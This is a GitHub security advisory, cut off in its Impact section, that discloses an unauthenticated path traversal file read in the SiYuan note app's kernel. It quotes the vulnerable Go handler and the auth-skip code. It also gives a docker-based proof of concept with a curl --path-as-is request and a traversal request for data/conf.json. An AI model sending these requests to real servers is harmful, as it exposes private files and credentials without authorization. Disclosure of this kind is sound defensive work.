GitHub Security Advisory: GHSA-hhgj-gg9h-rjp7
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path
Vulnerable versions: <= 0.0.0[PII_REDACTED]2524-fe4523fff2c8
Patched in: unpatched

Summary: Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal

Details:
##  Summary

The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.**
Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.

Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.

## Details

Vulnerable Code Location

**File: kernel/server/serve.go**

``` sh
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
    filePath := filepath.Join(
        appearancePath,
        strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
    )
    ...
    c.File(filePath)
})
```


**Technical Root Cause**

The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.

**Key issues:**

**1. Unsanitized User Input**

The path component extracted from the request is not validated or normalized to prevent traversal.

``` sh
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
``` 

This preserves sequences such as:

``` sh
../
..\ (Windows)
```

**2. Unsafe Path Joining**

**_filepath.Join()_** does not enforce directory confinement.

This escapes the intended directory.

**3. Direct File Serving**

The resolved path is served without verification:

``` sh
c.File(filePath)
``` 

### Authentication Bypass (Unauthenticated Access)

Authentication middleware explicitly skips /appearance/ requests.

**File: session.go**
``` sh
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
    c.Next()
    return
}
```
This allows attackers to access the vulnerable endpoint without a session or token.

### Exploitation Scenario

A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.

Example request:

```
GET /appearance/../../data/conf.json HTTP/1.1
Host: target

```
Because authentication is bypassed, the attack requires no credentials.




## PoC

**Step 1 — Create marker file**

```
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt
```

**Step 2 — Run SiYuan container**

```
docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

```

**Step 3 — Confirm service works**

Open in browser:

``` sh
http://127.0.0.1:6806
```

### Exploit PoC
**Method A — using CURL command**

Use --path-as-is so curl does NOT normalize ../.

``` sh
curl -v --path-as-is \
  "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"
```

**Output** 

``` sh
HTTP/1.1 200 OK
POC_EXPLOITED
```

**Method B — Using Browser**

``` sh
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt
```

If **method B** is not working, use **method A**, which is  CURL command to do the exploit


### Impact

An unauthent